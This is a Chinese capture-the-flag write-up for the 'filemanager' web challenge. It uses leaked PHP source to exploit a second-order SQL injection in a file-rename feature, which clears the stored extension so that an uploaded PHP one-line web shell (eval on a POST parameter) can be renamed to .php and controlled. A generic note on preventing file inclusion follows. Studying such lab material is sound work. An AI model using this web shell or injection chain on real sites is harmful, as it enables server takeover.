攻防世界 WEB filemanager

这题有源码泄露,先扫一波,dirsearch -u http://111.200.241.244:58290/
扫出来var.www.gz,下下来分析,直接上有错误的sql注入点吧,在rename.php里面,在rename的时候并没有对文件后缀进行检验,特殊字符也没有过滤,那么这里就是注入点

if ($result) {

		$req['newname'] = basename($req['newname']);
		$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
		if (!$re) {
			print_r($db->error);
			exit;
		}
		$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
		$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
		if (file_exists($oldname)) {
			rename($oldname, $newname);
		}
		$url = "/" . $newname;
		echo "Your file is rename, url:
                <a href=\"{$url}\" target='_blank'>{$url}</a><br/>
                <a href=\"/\">go back</a>";
	}

upload.php
sql语句进行了addslashes(),sql语句

$sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";

下面开始分析
首先上传一个空的后缀名为jpg的文件,由于有数据库的结构,我们带一个extension进去’,extension=’.jpg
这样在上传的时候就可以过过滤,然后进行rename,将’,extension=’,替换成upload.jpg,执行了

update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}

相当于执行了

update `file` set `filename`='upload.jpg', `oldname`='',extension='' where `fid`={$result['fid']}

那么原来的’,extension=’.jpg相当于变为了upload.jpg.jpg(实际上),upload.jpg是他的文件名,其实这里数据库里extension已经变为空了(数据库里filename存的是upload.jpg,extension是空),而upload文件夹里却还是upload.jpg.jpg文件
然后就是再上传一个一句话<?php eval($_POST['nihao']);?>,命名为upload.jpg,此时这个文件是有后缀的.jpg,文件名是upload
然后最后一步,把文件名为upload.jpg变为upload.php,由于之前数据库里我们已经把extension变为空了,所以oldname匹配到是我们上传木马的文件,而不是原来的文件,具体过程结合源码想一下就明白了
所以最后蚁剑就好
参考视频链接:https://www.bilibili.com/video/BV1XP4y1h7qk?spm_id_from=333.999.0.0

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
攻防世界中的文件包含漏洞(File Inclusion Vulnerability)是一种常见的web安全漏洞。它主要出现在web应用程序中,当应用程序动态包含用户可控制的文件时,如果没有正确过滤和验证用户输入,攻击者可以利用这个漏洞执行恶意代码或读取敏感文件。 文件包含漏洞分为本地文件包含(Local File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)两种类型。LFI漏洞发生在应用程序尝试包含本地文件时,而RFI漏洞则允许攻击者通过远程服务器包含外部文件。 为了防止文件包含漏洞,开发人员应该遵循以下最佳实践: 1. 永远不要信任用户输入。对用户提供的文件名、路径或URL进行严格的输入验证和过滤。 2. 使用白名单机制限制可包含的文件范围。只允许应用程序包含预定义的合法文件,而不是用户可控制的任意文件。 3. 避免使用动态包含,尽量使用静态包含。如果必须使用动态包含,确保只包含可信任的文件。 4. 对于本地文件包含漏洞,限制访问文件系统的权限。确保应用程序只能访问必要的文件,并将敏感文件放在可访问性受限的目录下。 5. 对于远程文件包含漏洞,禁止从远程服务器包含文件,或者使用安全的方法验证和限制远程文件的来源。 6. 定期更新和修补应用程序的漏洞,以确保及时修复已知的文件包含漏洞和其他安全。 这些是一些常见的防范文件包含漏洞的方法,但在实际开发过程中,还需要根据具体情况采取其他安全措施来保护应用程序免受攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值